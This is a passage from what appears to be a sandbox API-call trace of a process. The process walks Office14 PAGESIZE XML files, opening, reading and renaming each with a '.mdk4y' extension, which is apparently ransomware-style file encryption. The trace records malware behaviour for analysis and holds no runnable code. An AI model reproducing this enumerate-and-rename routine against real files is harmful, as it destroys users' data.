files\\microsoft office\\office14\\pagesize\\pglbl096.xml.mdk4y")) returned 1 [0233.957] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.957] AreFileApisANSI () returned 1 [0233.957] GetACP () returned 0x4e4 [0233.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL097.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL097.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.957] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830918900000) returned 1 [0233.959] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x80ba, lpOverlapped=0x0) returned 1 [0233.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830919000000) returned 1 [0233.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830919000000) returned 1 [0233.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml.mdk4y")) returned 1 [0233.962] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.962] AreFileApisANSI () returned 1 [0233.962] GetACP () returned 0x4e4 [0233.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL102.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL102.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.962] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830919300000) returned 1 [0233.963] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe730, lpOverlapped=0x0) returned 1 [0233.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830919400000) returned 1 [0233.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830919500000) returned 1 [0233.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml.mdk4y")) returned 1 [0234.066] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.066] AreFileApisANSI () returned 1 [0234.066] GetACP () returned 0x4e4 [0234.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL103.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL103.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.066] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830929700000) returned 1 [0234.067] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27aee, lpOverlapped=0x0) returned 1 [0234.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830934800000) returned 1 [0234.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830934800000) returned 1 [0234.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml.mdk4y")) returned 1 [0234.123] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.123] AreFileApisANSI () returned 1 [0234.123] GetACP () returned 0x4e4 [0234.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL104.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL104.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.123] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830935400000) returned 1 [0234.125] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fcf2, lpOverlapped=0x0) returned 1 [0234.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830935600000) returned 1 [0234.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830935600000) returned 1 [0234.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml.mdk4y")) returned 1 [0234.129] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.129] AreFileApisANSI () returned 1 [0234.129] GetACP () returned 0x4e4 [0234.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL105.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL105.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.129] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830936000000) returned 1 [0234.130] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15090, lpOverlapped=0x0) returned 1 [0234.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830936200000) returned 1 [0234.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830936200000) returned 1 [0234.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml.mdk4y")) returned 1 [0234.133] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.133] AreFileApisANSI () returned 1 [0234.134] GetACP () returned 0x4e4 [0234.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL106.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL106.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.134] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830936500000) returned 1 [0234.135] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9ae4, lpOverlapped=0x0) returned 1 [0234.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830936600000) returned 1 [0234.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830936600000) returned 1 [0234.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml.mdk4y")) returned 1 [0234.138] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.138] AreFileApisANSI () returned 1 [0234.138] GetACP () returned 0x4e4 [0234.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL107.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL107.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.138] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830936900000) returned 1 [0234.139] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d5c6, lpOverlapped=0x0) returned 1 [0234.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830937100000) returned 1 [0234.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830937100000) returned 1 [0234.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml.mdk4y")) returned 1 [0234.144] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.144] AreFileApisANSI () returned 1 [0234.144] GetACP () returned 0x4e4 [0234.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL108.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL108.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830937600000) returned 1 [0234.146] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2dbec, lpOverlapped=0x0) returned 1 [0234.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830942000000) returned 1 [0234.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830942000000) returned 1 [0234.192] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml.mdk4y")) returned 1 [0234.194] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.194] AreFileApisANSI () returned 1 [0234.194] GetACP () returned 0x4e4 [0234.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL109.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL109.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.194] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830942500000) returned 1 [0234.195] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b6c, lpOverlapped=0x0) returned 1 [0234.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830942600000) returned 1 [0234.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830942600000) returned 1 [0234.196] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml.mdk4y")) returned 1 [0234.197] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.197] AreFileApisANSI () returned 1 [0234.197] GetACP () returned 0x4e4 [0234.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL110.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL110.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.198] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830942800000) returned 1 [0234.198] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcdbee, lpOverlapped=0x0) returned 1 [0234.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830948200000) returned 1 [0234.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830948200000) returned 1 [0234.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml.mdk4y")) returned 1 [0234.263] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.263] AreFileApisANSI () returned 1 [0234.263] GetACP () returned 0x4e4 [0234.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL111.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL111.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0234.264] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830949500000) returned 1 [0234.265] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40198, lpOverlapped=0x0) returned 1 [0234.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830951100000) returned 1 [0234.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830951100000) returned 1 [0234.283] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml.mdk4y")) returned 1 [0234.285] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.285] AreFileApisANSI () returned 1 [0234.285] GetACP () returned 0x4e4 [0234.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN001.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN001.XMLL", lpUsedDefaultChar=0x37df4c) returned 11 [0234.285] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830951600000) returned 1 [0234.286] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2247e, lpOverlapped=0x0) returned 1 [0234.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830954600000) returned 1 [0234.316] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830954600000) returned 1 [0234.317] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml.mdk4y")) returned 1 [0234.320] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.320] AreFileApisANSI () returned 1 [0234.320] GetACP () returned 0x4e4 [0234.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN002.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN002.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.320] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830955100000) returned 1 [0234.321] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xeb68, lpOverlapped=0x0) returned 1 [0234.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830969900000) returned 1 [0234.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830969900000) returned 1 [0234.470] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml.mdk4y")) returned 1 [0234.472] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.472] AreFileApisANSI () returned 1 [0234.472] GetACP () returned 0x4e4 [0234.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN010.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN010.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.472] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830970300000) returned 1 [0234.473] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bc4, lpOverlapped=0x0) returned 1 [0234.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830971500000) returned 1 [0234.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830971500000) returned 1 [0234.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml.mdk4y")) returned 1 [0234.487] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.487] AreFileApisANSI () returned 1 [0234.487] GetACP () returned 0x4e4 [0234.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN011.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN011.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.487] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 